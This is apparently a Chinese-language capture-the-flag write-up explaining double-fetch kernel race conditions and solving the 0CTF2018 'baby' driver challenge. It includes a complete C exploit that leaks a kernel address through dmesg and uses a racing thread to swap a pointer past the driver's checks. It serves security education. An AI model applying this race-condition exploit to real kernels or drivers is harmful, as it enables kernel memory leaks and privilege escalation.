Double Fetch
2022-04-06 14:43:28

Double Fetch

属于条件竞争漏洞(内核态与用户态之间的数据访问竞争)

漏洞介绍:

虚拟内存地址通常被划分为内核空间和用户空间,内核空间负责运行内核代码,驱动模块代码,权限较高;

用户空间运行用户代码,并通过系统调用进入内核完成相关功能==》

在用户空间向内核传递数据时,内核先通过copy_from_user等拷贝函数将用户数据拷贝至内核空间进行校验

和相关处理==》

在输入的数据较为复杂时,内核可能只引用其指针,将其数据暂时保存在用户空间进行后续处理==》

该数据存在被恶意线程篡改的可能

漏洞原理模型:

一个用户态线程准备数据并通过系统调用进入内核==》

该数据在内核中有两次被取用:

第一次取用数据进行安全检查(缓冲区大小,指针可用性)

检查通过后==》内核第二次取用数据进行实际处理

===》在两次取用数据之间,另外一个用户态线程可创造条件竞争=》

对已通过检查的用户态数据进行篡改==》

在使用时造成访问越界或缓冲区溢出==》内核崩溃/权限提升

例题:

0CTF2018-baby

提供

对驱动进行检查:

静态分析:

baby_ioctl():

sub_25:

==》当参数为0x6666时,驱动将输出flag的加载地址

==》当参数为0x1337时,进行3个校验,接下来对用户输入的内容与硬编码的flag进行逐字节比较,一致时将flag输出

校验函数:

==》__CFADD__将返回a1+a2的CF进位标志

==》当a1+a2小于a3时,条件满足(判断是否越界)

==》

__readgsqword(&current_task) + 0x1358为内核地址

a3为用户的地址

a3+8为flag的长度

===》

a3为一个结构体

struct message{
    char *buf;//存放用户层flag的地址
    long len;//len存放内核层flag的长度
}

检查内容:

1、输入的数据指针是否为用户态数据

2、数据指针内的flag_str是否指向用户态

3、指针内的flag_len是否等于硬编码flag的长度

思路:

在绕过0x1337检查后,将buf的指针通过条件竞争的方式更改为内核flag的地址==》

在经过用户态flag与内核态flag长度判断时就是内核flag自己的判断,然后打印出flag的值

1、寻找flag的长度

2、得到flag的内核地址

3、通过多线程实现buf指针的劫持,绕过检测

4、通过dmesg查找内核打印至内核缓冲区的flag

exp:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int Time=1000;
unsigned long long flag_addr;       //真正的flag的位置
int finish=1;

struct usr_data{
    char *flag;
    size_t len;
};


void evil_thread_func(void *a){ //传进来的参数是usr_data的地址
    printf("Evil thread trugger!\n");
    struct usr_data *s = a;
    while(finish==1){
        s->flag = flag_addr;//修改用户态的结构体的flag地址为内核态flag地址
    }

};


int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);


    char buf[201]={0};
    char usr_flag[] = "flag{aasdascxcdadwdaw}";


    struct usr_data usr_data;
    usr_data.flag = usr_flag;
    usr_data.len = 33;

    int fd;
    fd = open("/dev/baby",0);//打开对应的设备

    int ret;
    ret = ioctl(fd,0x6666);     //发送0x6666,经过第一个if
    system("dmesg | grep flag > /tmp/sir.txt");  //通过dmesg获取printk出来的内核态flag地址


    int file_fd = open("/tmp/sir.txt",O_RDONLY);
    int id = read(file_fd,buf,200);
    close(file_fd);

    char *addr;
    addr = strstr(buf,"Your flag is at ");//此时addr指向Your
    if(!addr){
        perror("error!");
        return -1;
    }

    addr += 0x10;//此时addr指向flag

    flag_addr = strtoull(addr,addr+16,16);
    //16进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址
    printf("[*]flag addr is : %p\n",flag_addr);

    pthread_t evil_thread;//设置线程对象指针
    pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data);
    //开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件
    //从而使其通过驱动中的逐字节比较检查,输出flag内容
    //Time=1000
    for(int i=0;i<Time;i++){
        ret = ioctl(fd,0x1337,&usr_data);       //不断地去发0x1337进入第二个if
        usr_data.flag=usr_flag;                 //保证usr.flag指向用户态的空间
    }
    finish=0;              
    pthread_join(evil_thread,NULL);//结束线程
    close(fd);
    printf("The flag in Kernel is :\n");
    system("dmesg | grep flag");
    return 0;
}